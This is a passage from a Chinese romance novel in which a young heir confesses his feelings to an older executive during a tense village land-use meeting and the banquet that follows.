他话里的逗笑的意味太明显、太假,连语气听起来还有点生硬,“不是没吃蒜,怎么还辣成这样?” 甘歆“噗”地一声笑了出来,抽了张纸不着痕迹地沾了沾眼角,又擤了擤鼻子,转头过去看齐灏,眼睛亮晶晶的,故意嗔怪他,“你好烦哦。” 这次齐灏笑得很明显,两边嘴角都抬出了好看的弧度,眼尾都微微弯了下来,光打下来的眼睫毛阴影更明显了,照得他一双眼睛更加深邃。 从县城的饭店到到北泽村还有四十分钟车程,库里南已经换成了哈弗h6,司机小哥也从挺括的西装变成了随意的夹克衫,车牌的数字都不一样,没有之前的999扎眼,车里也不再安静,放着些脍炙人的金曲改编dj版,连坐在身边的齐灏,整个人都柔软了下来。 村路狭窄,又没什么灯,只有前方表盘和小小屏幕上发出的光映在各自的脸上,这一路有些颠簸,齐灏手长腿长,甘歆难免碰上,一开始还有些刻意挪开,见齐灏一点也没躲闪的意思,她索性也放开了。 太刻意的话,弄得好像她心里有鬼一样。 他们一路上闲聊了些和工作无关的内容,f大灌风的双子楼、沿街但没什么人去的小游园、藏在最北边的校史馆,还有东门对面那家隐藏在小区里的西餐厅。 记忆高度重合,好像与十五年前她刚进学校时相差无几,他们站在时间线的两端,甘歆遥望过去,齐灏看向未来,一个成熟、一个年轻,她怀念,他憧憬。 眸子里的光亮碰撞到到一起,是甘歆先回避。 齐灏也低下头,无声地呼出了一口气,右手的拇指与食指无意识地互相拈弄着,像是要把已经悸动到胸腔共振的心脏压回原位。 他也有回忆。 他记得,寄宿在市郊的那五年,掺着203奶奶包的荠菜饺子味道。 还有会摸着他的脑袋,叫他长睫毛弟弟的漂亮姐姐。 他又花了五年才弄明白,这种挥之不去的思绪,应该叫做喜欢。 十七岁那年,他从目空一切自堕凡尘,轻松利用了自己的天赋,只为了十八岁那年,能够踏进她曾经出现过的地方。 过去,世界对齐灏来说,都触手可及。 心里有了欢喜,时间空间都成了距离。 藏着的爱慕难以消化,他就有了耐心与城府。 他从来不是等待上天巧合施舍的小狗,而是环伺猎物的狼。 很难,但并非毫无可能。 他用自己做诱饵,欲将她捕获。 她现在,就坐在自己的身边。 下午甘歆凝视自己的时候,他紧张得藏在袖口里的右手都微微颤抖。 害怕她看出来,又希望她看出来,能够给他一个机会,倾诉出心底里最直白的爱恋。 村委的人意外地靠谱,将他们安排在一个独居的大娘家,自建房的二楼,有两个宽阔的卧室,还各自带独立卫浴,司机小哥住在一楼的客卧。 甘歆的箱子是齐灏拎上去的,放到她房门口的时候没立即走,连箱子的把手都没松开。 齐灏的眼神太过直白,可又因为他是齐灏,甘歆才觉得自以为的是错觉,她心里莫名打起了鼓点,咚咚咚地震得耳膜都疼,还有些发慌。 “你真的有男朋友吗?” 她还没来得及答,齐灏又跟了一句,“说实话。” 甘歆抿了个唇,想敷衍过去,齐灏依旧没松开她的箱子。 “你不说我也能查,但我不想。” 她不自觉地咽了一口唾沫,正准备肯定回答。 齐灏又插了一句,“别骗我。” 甘歆吸了口气,坦然答道:“没有。” “那我可以喜欢你吗?” 紧接着又是一句,“别急着回答。” 他终于松开了甘歆行李箱的把手,上面隐隐能看见些水痕。 “先让我追你一阵,行吗?” 20-30 第21章 第21章三合一章:我喝酒,她……发…… 是怎么关上门的,甘歆的记忆好像漏了,回过神来的时候已经坐在了床上,行李箱还在门口,连屋子里的灯都没开,黑暗成了扩音器,她听到了自己的心跳。 极具生命力,也混杂着慌张。 齐灏从来没有在自己面前说过这么多话,连喘口气的功夫都不给她。 但她肯定,自己没有回答。 机械式地洗漱,换了个简单的连体睡衣,就直挺挺地躺在了床上。 甘歆觉得胸口里团了一团乱了的毛线,她想找个人说说话,景页是第一个从脑袋里冒出来的倾诉对象,但今晚甘歆不想找他,也不知道要怎么和他说这事。 说来也巧,夜夜都会来叨扰甘歆的景页,也没有给自己发任何信息。 她平躺在床上,并没有拉窗帘,透过格子玻璃向外看,能瞧见一些山的轮廓,她的视线跟着这些轮廓起伏了几下,最终沉沉睡了过去。 —— 晨光微熹,村里的鸡就开始打鸣了。 甘歆辗转了几下,几乎是团着被子做起来的,头发也弄得乱糟糟,丝毫没有在自己家里的精致。 玫红色的塑料拖鞋,还有些返潮的地砖,她走得小心翼翼。 昨晚和大娘打了招呼后,大娘嘱咐了早上是有早餐的,让他们稍微早点起,甘歆笑着点头答应了,却看到齐灏从车的后备箱里拎了两箱东西给她,说这是公司嘱咐安排的,一定要让她收下,不然回去要挨领导批评,大娘接过手去的时候眼尾的褶子笑得都深了。 甘歆心粗,这些事往常都是张然做,商务上能够做到揣测对方的意图,但这些关照人情的事,她总是有疏忽,齐灏竟然记得,令她挺意外的。 这边返潮太厉害了,幸好自己带了双运动鞋过来。 出卧室的时候轻手轻脚,连关卧室的门都小心翼翼,咔嗒——终于在慢动作下阖上了。 她在门口顿了顿,刻意往对面的房间靠了靠,侧耳听了听声音。 没动静……太好了。 “找我?”齐灏的声音从楼梯那传来,甘歆见他只穿了件T恤和短运动裤,里面还有一条黑色的紧身裤,踩着一双慢跑鞋。 吓了一跳,跟鬼一样。 “……你大早上的不睡觉干嘛?”甘歆故作轻松,“是不是年轻人啊。” “晨跑,习惯了,”齐灏故意似的,拿年轻说事,提醒她不知道的现状,“现在学校里还有体测。” “让让,”甘歆走到楼梯口,不搭他的茬,“我下去吃饭。” 齐灏侧了身,却没有让开。 甘歆直接路过,胳膊擦到了他的衣服,但是没有停留,有些事虽然没有回答,但答案在问题存在的那一刻就有了,没有任何转圜之地的一面倒。 她的不回答,是对于齐灏昨晚最后一个问题的不忍心,他才20岁,是个什么都想尝尝的年纪,她的不忍心可以容忍这些放肆。 “你不吃?”快要离开楼梯的时候,甘歆才会回头问他。 齐灏不经意地挑了下眉毛,“冲个澡,就来。” 农家的早餐简单,白米粥、小咸菜、几个花卷,还有一碗水煮蛋,甘歆和大娘问了早就盛了一碗粥坐在桌边,她一直不爱喝粥,那股钻进嘴里的涩感总是让她很难受,但在这没得选,也不能在大娘面前太矫情。 直到她快吃完了,齐灏才下来,已经换了身衣服,白色的连帽卫衣、丹宁色的牛仔裤,还有一双板鞋,头发很蓬松,脸色也有些泛红,应该是刚刚洗完澡的关系。 她想把最后一口粥喝了赶紧离开这,齐灏竟然也没多话,直到甘歆离桌都在安静地吃早餐。 昨夜山里有小雨,外面的地都是湿的,甘歆在屋子里有些坐立不安,不禁去想昨天晚上齐灏到底什么意思,又觉得自己是不是对齐灏太好了,以至于让他有“她可以追”的错觉? 电话铃声响起来的时候甘歆吓了一跳,看了来点才发现是张然打来的。 “歆、歆总,下午的流程我和村委干事刚刚又核对了一遍,没什么问题,他们安排的地方也挺不错的,村民召集得也多,是个挺好的机会。” “嗯,村委现在什么态度?” “还是挺模棱两可的,主要就是怀疑我们之后开发的是度假村而不是保障房,借着保障房的政策低价收地,还是有所怀疑的,毕竟利益相差太大了。” 甘歆叹了口气,“嗯,下午感觉不好弄。” “阿歆,你怎么就答应沈总自己来这啊?至少带两个壮点的销售,北泽村这你又不是没去过,说得好听是爽快,不好听就是蛮横,你只带了个大学生,太危险。” “带两个壮丁过来干嘛?”甘歆笑了出来,“打架啊?直接撂挑子不干了?沈确不扒了我的皮?” “……他可不舍得。” “舍不舍得我都在这了,”甘歆脑子里闪现了下齐灏晨跑回来时的样子,“没事,大学生也能扛几下揍。” “你可别冲动啊,说话的时候让着点他们,哎我就该跟你一起来。” “你来我才不放心呢,儿子病都还没好,凑什么热闹。” “大学生那你也关照下,”话筒里张然的话依然偷着担心,“别什么都往外说。” “不会的,”甘歆肯定道,“现在大学生精着呢。” 张然又嘱咐了些别的,通话才结束,甘歆坐在床尾,有些心神不宁。 昨晚还觉得村委上道,今天却发现大娘的屋子几乎是在村的边缘,离山脚更近一些,要到村委,还得走上二里地,这便是无声的怠慢。 怠慢也是应该的,晟宇在谣言传出来的时候没有第一时间解释,难怪人家村委不高兴,甘歆心里想着。 她其实有些好奇,购置地皮这么隐晦的事情,怎么会被传出去,还是村民自己发现的,有些蹊跷,但没法问,下午只能见招拆招了。 将箱子重新收拾好,甘歆换了件紫红色的羊绒连衣裙,腰间系了根细细的皮质腰带,搭扣是复古的黄铜色,又把栗红色的长发松散了下来,整个人好像上了一层柔光,靓丽的攻击性少了一些。 11点的时候,房门被敲响了,甘歆去开门,齐灏就站在门外,还是早上吃早餐的那副装束,干净、利落,还很显小,比齐灏任何其他时候都要更像大学生一点。 齐灏先是对着甘歆愣了一下,看了她几秒后,有些木木地对她伸手,“箱子。” “……我自己能拿。”甘歆现在看着他有点尴尬,但确实不知道要怎么办才好。 “你有人追怎么还自己拿箱子?”齐灏皱了皱眉。 “有人追就不能自己拿箱子了啊,”甘歆怼了回去,“这么多人追我呢,也没见谁手里都有箱子啊。” “在哪呢,这么多人?”齐灏装模作样四周看了看,“我眼神不好?” 甘歆一把把箱子塞到了齐灏的手里,“想拿就拿吧,力气多得没地方使。” “还疼吗?” “什么?”甘歆有些警惕。 “……肚子。” 甘歆白了他一眼,说实话,之前她真没觉得齐灏对自己有这样奇怪的心思,要不然也不能这么坦然地去和他聊这些,但经过了昨晚,再聊这种“科普性”的话题,她总觉得不太合适了。 太私密,这臭小子想干什么! 她面露不耐烦,正想说他两句,手里被塞了一包东西,齐灏转身就拿着箱子下楼了,走得飞快。 甘歆把肩上的包往上窜了窜,才低头看手里的东西,颜色太具有迷惑性,她差点以为是卫生巾,再仔细看,原来是暖宝宝。 还挺会,这么细心,她又走回卧室,抽了一张出来贴在小腹,不一会儿就传来了些暖意,她低头笑了笑。 进车里的时候,甘歆假装高冷地对他说:“谢谢,哪儿买的,多少钱,我转你。” 齐灏对她挑了个眉,先清了清嗓子,“应该的,村口的小超市。” “你去村口了?”甘歆问,“大早上的,这么远?” “还好,一来一回两三公里,我平时晨跑比这个多,”齐灏说,“顺便去看看今天村委准备的场地,我在外面晃了一圈。” “怎么样?”说到正事,甘歆开玩笑的心思都少了。 “挺平静的,什么装饰都没有,里头出来个人我简单打听了下这事,对方态度有些奇怪。” 甘歆眉头都拧紧了,“怎么个奇怪法?” “……说今天下午会来很多人,说要问个清楚。” 的确不是一个好的答案,甘歆到这已经挺久了,除了借宿的大娘和昨晚来接的人,实打实的村干部一个都没看到,她咬了咬下嘴唇,对着齐灏语气关切,“如果不大对头,你找机会离开。” 这下轮到齐灏盯着她看了,“那你呢?” “公司的项目,我肯定走不了,让你离开是去搬救兵,”甘歆问他,“你有沈确的电话吗?” “找他做什么?” “他的公司,我搞不定的肯定找他,”甘歆看齐灏神色古怪,她打了个激灵,有些不好的预感,“你别强出头啊,这是工作,我想晟宇应该也不想和寰科扯上关系。” 齐灏不说话,嘴巴抿得很紧。 甘歆心里冒了个疑问,当下就与齐灏确认,“北泽村这块地,晟宇和寰科……没有关系吧?” “没有,”齐灏说得轻飘飘,“看不上。” “那就行,不然我这算泄露商业机密了。” 齐灏扯了个嘴角无奈地笑了笑,“不至于。” “那如果有什么事的话,你记得联系沈确,我来安抚下村民,”甘歆突然想到了什么,拿出了手机把老徐给她的两个电话也发给了齐灏,“老徐给的,说如果要找人可以打这两个电话。” 齐灏就这么看着甘歆,连手机响了都没有搭理。 “看什么?”甘歆皱眉,“老徐可没让我给你,背着你给我的。” “沈确……老徐……还有谁能找?” 甘歆陷入了沉思,试图从脑袋里搜刮出一些在北泽能说得上话的人。 “甘歆,”齐灏叫了她的全名,转过头来面对着她,“你把我当摆设吗?” —— 匆匆解决了午饭,司机小哥终于把哈弗H6开进了村委的院子里,不知是不是齐灏嘱咐过了,司机小哥没有帮他们开门,齐灏下车后和司机嘀咕了一会儿,甘歆就见车开走了。 站定的时候,齐灏从包里拿出了个眼镜盒,接着黑框眼镜就戴上了,甘歆不太理解。 他默默说:“大学生……要有大学生的样子。” 甘歆差点没笑场,故意凑到齐灏耳朵边小声说了一句,“太子爷费心了。” 做完了这个动作,她才觉得有些不合适,再看齐灏,脸都红了,一下没忍住笑,跟江湖老手似的用手背拍了拍齐灏胳膊,揶揄他,“到底是年轻人。” 真到了地方,刚刚一路过来的担心好像都散了不少,甘歆拎着包往里走,一副温润隽永的样子,齐灏落后于她半步,手里拿着个电脑包,脸上还带着淡淡的笑,整个人乖巧得不行。 接待的人说村支书今天县里正好有事,被叫去开会了,就只有几个村干部来听政策解读,还有晟宇对北泽这片区域的规划和原住民保障,甘歆握上村干部的手时一点都不像初次见面,还一口咬定第一次来的时候见过他,他说他气色好了,看来是家里有喜事。 一通招呼下来,村干部脸上的笑容实在多了,也实话转达了村民的顾虑,希望今天能详细了解一下。 甘歆笑着说没问题,自己来就是讲这个的。 齐灏趁着调试电脑连接投影的时候,暗暗在甘歆旁边溜了句,“装熟还是你厉害。” 甘歆笑得更开了,眼尾弯弯得特别好看,表情里还有些小得意,“学着点,小朋友。” 等到了约定时间时,来得人确实不少,满满当当地把多功能会议室都挤满了,有的还带了花生瓜子,就这么一把握在手里,嗑完了后皮就大喇喇地放在桌面上,或者直接仍在地上。 她能理解,并没有因为他们的行为而看轻他们,村镇的生活和大城市里的大不一样,没必要用别的地方的规则来约束所有人,但她这么想,不代表所有人都会这么想。 甘歆有些担心地看向齐灏,也不知道是不是因为长得太帅的关系,已经有些女性围在他旁边了,看似好像请教问题,但那几双眼睛一直没从他的身上挪开过。 也有手里揣着瓜子的,但齐灏的眉头都没拧一下,依旧保持着一个大学生该有的“腼腆”的笑容。 似乎察觉到了越过层层人群的目光,齐灏也朝甘歆这边看来,戴上黑框眼镜的他将深邃的眼睛遮去了大半,就好像隐去了他身上原本就有的熠熠辉光。 他变得有些普通,但又因为“普通”出现在他身上,就显得很特别。 齐灏的目光更柔和了,脸上也带着平易近人的笑,那种一直相处以来“冷漠疏离”的感觉悄然消失,变成了一个温暖和煦的大男孩。 他对着甘歆睁了睁眼睛,好像在询问有什么问题,甘歆摇了摇头,就没再看他。 甘歆先开场,顺带也介绍了一下齐灏,只说了学校和专业,没有透露具体的名字,台下来听的人很明显,女性们在看到这个男孩站起来微笑鞠躬的时候,的确更兴奋一些。 整个流程非常简单,齐灏通过专业的角度分析保障房的必要性和政策扶持,来告诉村民们,这是国家认可的项目,并且有规范的申请流程,一旦发现企业挂羊头卖狗肉,也会有十分严格的惩罚措施。 他说话简洁易懂,虽然年轻,但声音偏沉,听着很舒服,也容易让人信服。 甘歆市场活动做习惯了,举起手机就对着在台上分享的齐灏拍了一张,她看到齐灏错愕了一下,接着就笑了起来。 齐灏的内容相当于是热场,也是在村民们心里拉起一道警戒线,相当于告知他们企业如果出尔反尔是是会有十分严重的后果,所以企业并不会在既定的决策上做改变。 但到底说得隐晦,接下来甘歆会将晟宇在北泽村的目前规划分享给他们。 与平日里和同事还有供应商开会不同,甘歆今天又特意温婉的造型,整个人说话都发着柔光,她将晟宇的规划娓娓道来,以及对村民的补偿政策都重新阐述了一遍。 说完后,下面反而不吱声了,安静得有些突然。 “那个!”有个中年妇女站了出来,“北泽这么一大片地方,都说你们一半用来做保障房,一半用来做度假村,是真的吗?” 明显这个人是被人关照了才提问的,对于自己的问题都不清楚,怎么会突然挑刺? 甘歆温柔笑笑,“没有的事,度假村始属于商业用地,北泽都是住宅使用,我可以肯定地说晟宇只规划了保障房。” “土地属性可以改,你蒙不了我们,”有个粗犷一点的大爷站了起来,“我们不是不赞成做度假村,就是度假村你们赚太多,我们的补偿要跟上。” “大哥您好,晟宇真的没有在北泽做度假村的打算,保障房我们已经和政府申请了,在审批中,这次也是想要破除这个谣言,尽快来和各位解释一下。” “我不懂!”有个年轻一点的汉子直接拍了桌子,“大学生说的那是政策,你们做公司的,最会出尔反尔,而且政策补贴和你们的补偿加起来,都不如做读度假村来得补偿多,我支持全改度假村。” 又有一个大妈嚎了一嗓子,“就是!做度假村我们这每家每户都留一栋,我们自己也能享受上,现在钱值多少钱呀,乡亲们你们说是不是?” “抱歉各位,我想大家误会了,晟宇真的没有做度假村的打算,而且加上补贴,各位的拆迁补偿只会更多。”甘歆极力解释着,希望大家能够听进去。 “做度假村!我们不要补偿,我 们要房子,北泽村山清水秀,哪哪都好,要不是现在种地不挣钱了,才轮不到你们这些人来安排我们。” 话是越来越难听的,但甘歆始终不急不躁,一个个问题回答,直到放在桌面上的手被碰了一下,她往旁边看去,齐灏已经走到了他身旁。 “没事,”齐灏很笃定,还捏了捏甘歆的手腕,“他们应该收到了一些消息。” 甘歆也压低了嗓子,“我也觉得,不过是谁呢,晟宇做保障房的事情,只有公司内部几个事业部知道。” “你再拉扯两个来回,应该就能知道,”齐灏凑到了甘歆的耳边,“激烈点,别怕。” 甘歆浑身一个激灵,总觉得他压低的声音有些熟悉,但就是想不起来是哪里听过。 “嗯,你帮我注意这点他们的情绪,最好找到极力推崇这件事的人。” 齐灏点了点头,就到甘歆表演了。 “审批流程进行中,是没有办法改动,而且已经送上审批了,北泽村的土地性质就已经定下,五年之内是不会改的了,如果错过晟宇这个风口的话,下次再等个有同等实力的开发商,就很难了。” “你什么意思?要挟我们?”突然有个坐在前排但不怎么说话的妇女站了起来,还拍起了桌子,“地是我们村的,我们想给谁必须经过我们的同意,没有晟宇还会有别的!想翻身可不只能靠你们!” “大姐,您先别着急,晟宇做事向来规范,好几年前就开始了保障房计划,一直到现在快要拿地实施,不是一蹴而就的事,您说还有别的,以我的专业眼光来看,是行不通的。” “有什么行不通!”角落里另一个男的站了出来,好像还是在村委任职的,“雅悦集团的千金已经联系过我们了,他们愿意帮我们全村都改成度假村,刚刚你们说的条件,他们早就跟我们说过了!” 甘歆和齐灏对视了一眼。 这不,来了。 还真有人釜底抽薪。 “雅悦集团有一半是海外注资的,村镇项目不会放在他们手里,”甘歆肯定的地说,虽然这几年雅悦势头很猛,但也不至于嚣张,国内该守的规则,还是无法撼动的,“大哥,您别被忽悠了。” “你说什么!?”这个男人突然暴起,站了起来,伸手指着甘歆,怒目圆睁地,似乎还要冲上来,“你们难道不是忽悠吗?!你们也是大忽悠!” 刚刚装熟的村干部站了起来,把人往座位上一按,“别吵吵,坐下,你怎么能对客人这样,等着连保障房都没着落了,我看你上哪儿找度假村来!” 看来这是一场早就商量好的局,北泽村早就动了心思想以小博大做度假村,而且在雅悦的推波助澜下,卖地这样的大事,连村支书今天都避而不见。 甘歆用眼神示意了一下齐灏,对着他悄悄说:“给沈确打电话,让他去给雅悦施加压力。” “沈确治不了雅悦,”齐灏说得很慢,看向甘歆的眼神有她读不懂的复杂,“他自己就是雅悦的持股者,之一。” “什么?!”甘歆惊呼。 所以沈确派她来得时候这么犹豫?他早就知道了原因,也任其发展?还让甘歆装模作样地来给项目擦屁股? “沈确想做度假村,但是没借口,对吗?”甘歆问向齐灏的时候带着些不可思议,也有些失望。 齐灏不置可否,“我还需不需要给沈确打电话?看你。” “别打了。”甘歆突然就无所谓了,她本来也是沈确的一把刀,可能他也均衡不好个中利益,才让甘歆来这里求一个结果。 保障房的名声,度假村的利益。 任何一个沈确都会动心。 亏她还以为那天在停车场偶然撞见的场景,或许是因为对自己有一点特别,才会犹豫要不要让她来北泽村,明明昨天电话里还在犹豫。 沈确的嘴不是被封上了,而是他不想说。 只有自己人在这里吃瘪了,他才有可能替换成第二种方案,要是自己人赢回了排面,作为背后老板的他,怎么样都不会输。 但甘歆不一样,她赢了也是输了。 聪明人之间就是这样,只是在海面露出一个鳍,就知道底下究竟是鲨鱼还是鲸。 “齐灏,我还是得坚持保障房,”甘歆看向他,说话的声音低了下去,还带着些颤,“我们部门做这个很久了……如果沈确做不了这个决定,那就我帮他做。” 再抬头时,甘歆的眼睛里已经没了不确定,整个人的气场都绽开了。 “雅悦的外资是个问题,还有就是他们是做酒店管理的,运营手段更商业,村民不一定能适应。”甘歆看向他,“还有什么?” “度假村创造不了二次收益,不能以二手房流入市场,”齐灏一针见血,“得抓着村民的钱袋子。” “对!”甘歆放松下来了,也笑了,在产权问题前,其他都不是什么大事。 甘歆就着这些点和村民们摆事实、讲道理,又是几个回合下来,本来一边倒度假村的风气又淡了些,到最后还是村干部出手,让大家不能只看眼前,还有未来儿孙,都靠家族的原始积累。 虽然还没完全定下来,但至少暂时劝住了。 终于这场交流到了尾声,村干部提议一起拍照留念,甘歆和齐灏都没拒绝,就是村民们分得有些明显,甘歆这边男性多,齐灏那边女性多。 照完后又各自打招呼,人慢慢都散了,到最后多功能室里就剩了他们两个。 甘歆的手机响了起来,是沈确。 她不想接,但不得不接,他总有办法知道会开完了没有。 “会得怎么样?村民怎么说?” “开完了,他们暂时同意建保障房。” “辛苦你了,”沈确轻轻叹了口气,好像有些惋惜,又好像轻松了些,但不同于平日,沈确一点玩笑都没和甘歆开,“弄完了就赶紧回来吧。” 那句“你到底把我当什么”的质问甘歆还是没说出口,他是老板,他想把她当什么,她就是什么。 有什么好问的呢? “沈确怎么说?”齐灏收拾好了电脑包走过来。 甘歆耸了耸肩,“雷我替他扛了,他跟我说辛苦了,就这样,高位呆久了,没办法共情我们打工人。” 情理之外,意料之中。 “那就让他也少赚点,吃个教训吧,”齐灏又恢复了那种淡淡的口气,“拿你这把精钢刀在沙地里开刃,他也不怕矬坏了。” “你要干什么?” 他微微笑了笑,但甘歆看着却有些压力,这股压力好像叫“寰科”,更贴切地,应该叫做“齐灏”。 齐灏当着甘歆的面打了个电话出去,“雅悦,周一做空,砸到跌停。” 甘歆眼睛瞪大,嘴都微微张开了。 他还是笑,连话都说得稳健坦荡,“欺负他一下,就一天。” 还有半句话齐灏没说出口。 要是沈确再这么对甘歆,那就接着砸。 —— 村委晚上安排了饭局,就在旁边的农家里。从多功能室到村委大门的这一路,甘歆和齐灏都没说话,一前一后地走着。 直到出了院子门口,甘歆才回过头来问齐灏:“雅悦想用这里做度假村的事,你提前知道吗?” 齐灏坦言:“不知道。” “真不知道?”甘歆似乎在他的脸上寻找表情的破绽。 齐灏站定了,说得认真,“我和沈确不一样。” 甘歆自知问得突兀,但眼下真的很需要答案,即使已经摸爬滚打了许多年,她还是期待自己身边能留有一个平方米的净土,至少在这点空间里,情谊在利益之上。 “我如果知道,就不会赞成你来这里,”齐灏看出了她的想法,继续解释道,“但我会把我知道的告诉你,交给你来判断。” “那如果即使我知道了内情,依旧要来这边呢?” “那只能说,”齐灏笑了笑,“你是个好人。” 被一个小一轮还多一岁的人评价自己是个好人,甘歆心里实在不爽,转过头就要走, 刚迈一步胳膊就被拉住了,力道不重,却很坚定。 “地上滑,小心些,”齐灏没松手,特意走到甘歆的面前,“我不会让你一个人来这里,我不放心。” “齐灏,”甘歆露出从未在他面前露出的表情,“昨天你说的话,我可以当没听到过,我们还像以前一样,我不是小女孩,没法回应你的一时兴起。” 齐灏皱紧了眉,甘歆顺势将自己的胳膊从他的手里抽开了。 认识这个人不过两周多一点,对自己完全不了解,甚至罔顾自己已经三十三岁的事实,觉得自己从来没接触过这种类型的所以想试试?小男生的好奇心太重,甘歆没有满足他好奇心的理由,这种判断让昨晚的不忍心化为了泡影。 “我对你不——” 甘歆立即打断,“很抱歉,无论是什么,我无法回应,但谢谢你愿意陪我来。” 她本来以为会在齐灏的脸上读到不爽、愤怒甚至困扰,但他的脸色依旧平静,仿佛早就知道了这个答案似的,甚至没有失望。 果然是随便说说的,甘歆心里想着,有钱人的臭毛病真是一贯地相似,喜欢猎奇。 她懒得去思考这些,现在说明白了也好,省得产生些不必要的麻烦,“晚上村委吃饭,你要是嫌麻烦或者不想来,直接回大娘那就行,明天早上回去了。” “不麻烦,得去。” 齐灏路过甘歆的时候,顺手把她的包拿上了,没等她反应,就径直往前走,一点也没有等她的意思。 她快步跟上,却总在快追上的时候又落后一步,直到进了包房,看到已经在里头放包的齐灏,甘歆才用眼神骂了他一句,“你腿长,你了不起。” 齐灏对她偏了一下头,眼睛里也有了些挑衅,仿佛在说“是的”。 懒得理他! 十人间的包房,村委给他们留了两个主位个,甘歆极力拉扯之后,总算挪了个位子,旁边那个留给了下午装熟的那个干部。 北泽村人爽快,连喝酒也透着豪气,村干部从自己的公文包里拿出一个没有任何包装的铁皮酒壶,放到桌上时,其他人眼睛都亮了。 “王主任,下血本了啊,从床底下掏的酒么,你媳妇让?” 甘歆这才想起来,下午这人介绍自己的时候姓王,只见王主任笑得贼,“偷偷拿的,我媳妇哪能同意,”转头又对着甘歆说,“歆总,这酒平时我们都存在山里,只有重要客人来的时候才会拿,是真正的好酒,您得赏脸喝两杯。” “要的要的,一定尝尝。”甘歆笑得大方,一点没有扭捏的意思。 “那这位小兄弟——”王主任对着齐灏询问,毕竟人家还是学生,总不好强人所难。 “他就——” 甘歆话还没说完,齐灏就抢了话头,摆出了他下午那副纯真男大的脸,还挂着笑,“我也尝尝,谢谢王主任。” 王主任听这话,高兴了,直接站了起来,招呼着把大家的分酒器放到转桌上来,每个人都倒了差不多二两。 下了班,大家默契地不谈工作,王主任先提了一杯,桌上的各位都自觉地站了起来,甘歆和齐灏也客随主便,第一杯酒,大家都闷头喝完了,还得亮一下底。 “歆总好酒量啊,很少有女同志能一杯下肚的。” 甘歆刚刚过嗓子的时候就觉得不妙,这酒虽然口感醇厚,但度数绝对不低,一小盅下去,就觉得整个食道火辣辣的,但这些她都没有表现出来,还是对着王主任笑笑,“难得喝到真正的好酒。” “女中豪杰!”王主任激动地站了起来,又对着甘歆举杯子,“这杯我单独敬您歆总,北泽村的事您费心了。” “应该的应该的,”甘歆伸手去拿酒杯,桌子底下的膝盖被齐灏点了一下,她没有理会,“谢谢王主任,这次沟通安排劳您费心了。” 又一杯酒下肚,甘歆已然觉得有些上脸。 再看面前的碗里,已经被夹了些菜,明显是齐灏夹的。 北泽村喝酒讲究转桌,一人提一杯,再喝了两三个人的时候,甘歆明显觉得自己有些上头了,已经有些听不清桌上人说的话,她喝酒不上脸,也带着笑,后来的人要再敬,她又想去拿杯子,被齐灏拦下了。 “还喝?”他压低声音对甘歆说。 “得喝,”甘歆也握上了杯子,使了使劲却拿不过来,“他们没尽兴。” 桌上有些敏锐的人,譬如王主任,这时候也来劝,“歆总,没事,喝酒就好像盖房子,我们都量力而行。” 甘歆这话听得不舒服,才意识到这王主任是个笑面虎,也是,盖楼这种村委大事,村支书怎么可能将这个任务交给一个只会笑的人,她拍开了齐灏的手,又满上了自己的酒盅,索性站起来,“王主任这话说得在理,喝酒就好像盖房子,我干了,你们随意。” 一杯酒下去,桌上的男人都沸腾了,除了齐灏,他已经冷到了冰点。 甘歆压低声音,警告他,“你别给我整活儿,我这一顿酒,抵十次八次装熟。” “行。”齐灏答应得特别爽快,一点都不像他。 她开始还挺满意齐灏这个反应的,后来就有些傻眼了…… 下一个要提杯的时候,齐灏插了个队,先站了起来,将甘歆分酒器里还剩的酒倒进了自己的分酒器,直接拿了起来,“各位都是前辈,我到现在才敬酒实在不应该,歆总这些天为了准备北泽村的事,夜没少熬,也是我不够聪明,没帮上什么忙,主要也是谢谢各位前辈给我锻炼的机会,又越过了两位前辈也不礼貌,我敬各位!” 话音刚落,齐灏就着分酒器,一点点将近乎二两的酒喝完了。 分酒器沾上玻璃转桌的时候,发出了“噔”地一记闷声。 “好!!”桌上沉寂了许久的一名女干部亮了嗓,“小齐好酒量!”又对着桌上的男人们指指点点道,“看看你们这点出息,就知道抓着歆总薅,脸还要不要了。” 这里人说话直,也没谁觉得被怼,只讪讪地对歆总笑,“歆总还是有眼光啊,带来的大学生又能说又能喝。” “没有没有,”甘歆赶紧摆手,“他喝不了,他就是——年纪小,初生牛犊不怕虎,瞎整,不带他,我们喝我们喝。” “哎,歆总,”女干部又说,眼睛里都是暗示,“小齐愿意喝你就让他喝,后辈总是要培养的。” 甘歆明白,女干部想让她把自己从这场酒局里择出去,可先不提他是齐灏,就算是个普通的大学生,也不能这么干,或许是喝了酒,情绪没有这么好掩藏,眼睛里的着急和焦虑都溢出来了,手里的动作也不利索,一个劲地想从齐灏那边把自己的分酒器拿回来。 齐灏快速握住了甘歆的手腕,看向她的眼睛亮晶晶的,嘴角还带着笑,她弄不清他到底有没有醉,但说出的话却带着威胁,声音很轻,几乎是从牙齿缝里漏出来的,明明是笑着,表情里却带着倔,“想让我当着这么多人的面追你?” 甘歆哑火了,年轻人的套路太激进,她招架不来。 后面的酒,几乎都是齐灏喝的,他拿酒的手一直很稳,说出的话也有分寸,看人的眼神没有任何闪烁,就只是眼神更加深邃了些,还会时不时提醒她吃菜。 桌上的男人们相继都去过了洗手间,就只有齐灏和和王主任还在喝,期间王主任让齐灏坐到他身边去,说是哥俩好得坐在一起喝,齐灏就是不愿意挪窝,还使出了些少爷性子,招手让王主任坐过来,甘歆捏了一把汗,直到王主任真的坐到齐灏另外一边了,他还勾过了王主任的脖子往甘歆这儿带,问王主任他俩是不是好兄弟,王主任说是,他才得意地对着甘歆扬下巴。 她发现,齐灏很多面,他可以是清冷的寰科太子爷,也可以是温暖单纯的大学生,甚至可以是和村民工友打成一片的自己 人,每一面都自然妥帖,一点儿都不假。 甘歆后来都没碰过酒,就看着他们一轮轮地喝。 喝到最后,是齐灏提议大家喝发财酒的,桌上的所有人都把酒杯里的酒喝完,意思圆满发财,他先举杯,提了句吉祥话,却是最后一个喝的,等到大家杯子里的酒都喝尽了,他才仰头把酒盅里的酒喝掉了大半,留了个底。 王主任见他这样,皱了眉,“小齐,你不厚道,怎么留了个底?” 齐灏嘿嘿笑了两声,他低着头,脸颊和耳廓已经有些红了,长睫毛在灯的照耀下,在下眼睑留下了一层扇形的阴影,把还剩一个底的酒杯推到了甘歆面前,动作直白,说的话却腼腆,“她……发财。” 说完后,整张脸都红了,像熟透了的番茄。 王主任也跟着起哄,“歆总,小弟培养得不错啊,知道让老板发财。” 甘歆好像被电了一下,咽了口唾沫,拿过了齐灏的酒杯,将那一个底喝了下去。 桌上的所有人都在鼓掌,所有的酒杯都被人拿在手里,哐哐地敲着桌子,兴奋不已。 